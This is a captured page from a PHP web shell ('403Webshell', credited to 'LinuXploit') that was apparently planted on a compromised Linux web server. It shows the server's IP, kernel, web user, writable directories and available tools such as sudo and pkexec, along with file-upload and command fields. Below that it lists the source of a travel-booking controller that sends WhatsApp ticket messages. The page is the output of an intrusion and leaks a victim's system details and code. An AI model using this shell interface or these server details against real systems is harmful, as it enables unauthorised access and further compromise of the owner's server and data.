403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/modules/whatsappapi/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/modules/whatsappapi/controllers/ApiController.php
<?php

class Whatsappapi_ApiController extends Catabatic_ValidateCustomer {

    public function init() {
        
    }
    
    public function checkExeAction(){
        echo "Hi";
        exec("/usr/bin/php /var/www/html/b2bzend/cronjob/whatsAppBulkMessage.php 111 222");
        echo "exit;";exit;
    }
    
    

    private function doRequest($endPointURL, $AccessToken, $data = array()) {
//        echo $AccessToken;
//        echo "<br>";
//        echo $endPointURL;
//        echo "<br>";
//        echo json_encode($data); exit;
        $curl = curl_init();
        curl_setopt_array($curl, array(
            CURLOPT_URL => $endPointURL,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => "",
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_TIMEOUT => 30,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST => "POST",
            CURLOPT_POSTFIELDS => json_encode($data),
            CURLOPT_HTTPHEADER => array(
                "cache-control: no-cache",
                "content-type: application/json",
                "Authorization: $AccessToken"
            ),
        ));
        $response = curl_exec($curl);
        $resultset = json_decode($response, 1);
//        echo "<pre>";
//        print_r($resultset);
//        exit;
        $err = curl_error($curl);
        curl_close($curl);
        return $resultset;
    }

    public function flightTicketSuccessAction() {
        $this->view->layout()->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        $requestPerameter = $this->getRequest()->getPost();
        $headers = getallheaders();
        $returnResponse = array(
            "status" => false
        );
        //echo "<pre>";print_r($headers);exit;
        if (!empty($headers)) {
            $apiKey = isset($headers['SecurityKey']) ? trim($headers['SecurityKey']) : false;
            if (!empty($requestPerameter)) {
                if ($apiKey) {
                    $agencyMdl = new Travel_Model_TblAgency();
                    $getAgencySysId = $agencyMdl->checkAndGetWhatsAppDetailByAgency($apiKey);
                    $AgencySysId = isset($getAgencySysId['AgencySysId']) ? (int) $getAgencySysId['AgencySysId'] : 0;
                    if ($AgencySysId > 0) {
                        $customer_name = isset($requestPerameter['customer_name']) ? $requestPerameter['customer_name'] : null;
                        $departure_date = isset($requestPerameter['departure_date']) ? $requestPerameter['departure_date'] : null;
                        $departure_time = isset($requestPerameter['departure_time']) ? $requestPerameter['departure_time'] : null;
                        $arrival_date = isset($requestPerameter['arrival_date']) ? $requestPerameter['arrival_date'] : null;
                        $arrival_time = isset($requestPerameter['arrival_time']) ? $requestPerameter['arrival_time'] : null;
                        $flight_name_number = isset($requestPerameter['flight_name_number']) ? $requestPerameter['flight_name_number'] : null;
                        $pnr_number = isset($requestPerameter['pnr_number']) ? $requestPerameter['pnr_number'] : null;
                        $pax_count = isset($requestPerameter['pax_count']) ? $requestPerameter['pax_count'] : null;
                        $pax_full_name = isset($requestPerameter['pax_full_name']) ? $requestPerameter['pax_full_name'] : null;
                        $my_booking_url = isset($requestPerameter['my_booking_url']) ? $requestPerameter['my_booking_url'] : null;
                        $displayname = isset($requestPerameter['displayname']) ? $requestPerameter['displayname'] : null;
                        $ticketdownloadlink = isset($requestPerameter['ticketdownloadlink']) ? $requestPerameter['ticketdownloadlink'] : null;
                        $data = array(
                            "template_name" => "test_ticket_issuet_api",
                            "broadcast_name" => "string",
                            "parameters" => array(
                                array("name" => "name", "value" => $customer_name),
                                array("name" => "departure_date", "value" => $departure_date),
                                array("name" => "departure_time", "value" => $departure_time),
                                array("name" => "arrival_date", "value" => $arrival_date),
                                array("name" => "arrival_time", "value" => $arrival_time),
                                array("name" => "flight_name_number_", "value" => $flight_name_number),
                                array("name" => "pnr_number", "value" => $pnr_number),
                                array("name" => "pax_count", "value" => $pax_count),
                                array("name" => "pax_1_pax_first_name_pax_last_namepax_2_pax_first_name__pax_last_name", "value" => $pax_full_name),
                                array("name" => "website_name_mybookings", "value" => $my_booking_url),
                                array("name" => "displayname", "value" => $displayname),
                                array("name" => "1", "value" => $ticketdownloadlink),
                            )
                        );
                        $whatsappnumber = isset($requestPerameter['whatsappnumber']) ? $requestPerameter['whatsappnumber'] : null;
                        $endPointURL = isset($getAgencySysId['APIURL']) ? trim($getAgencySysId['APIURL']) : null;
                        $endPointURL = $endPointURL . "/api/v1/sendTemplateMessage?whatsappNumber=$whatsappnumber";
                        $AccessToken = isset($getAgencySysId['AccessToken']) ? trim($getAgencySysId['AccessToken']) : null;
                        $returnResponse = $this->doRequest($endPointURL, $AccessToken, $data);
                    }
                }
            }
        }
        echo json_encode($returnResponse);
        exit;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit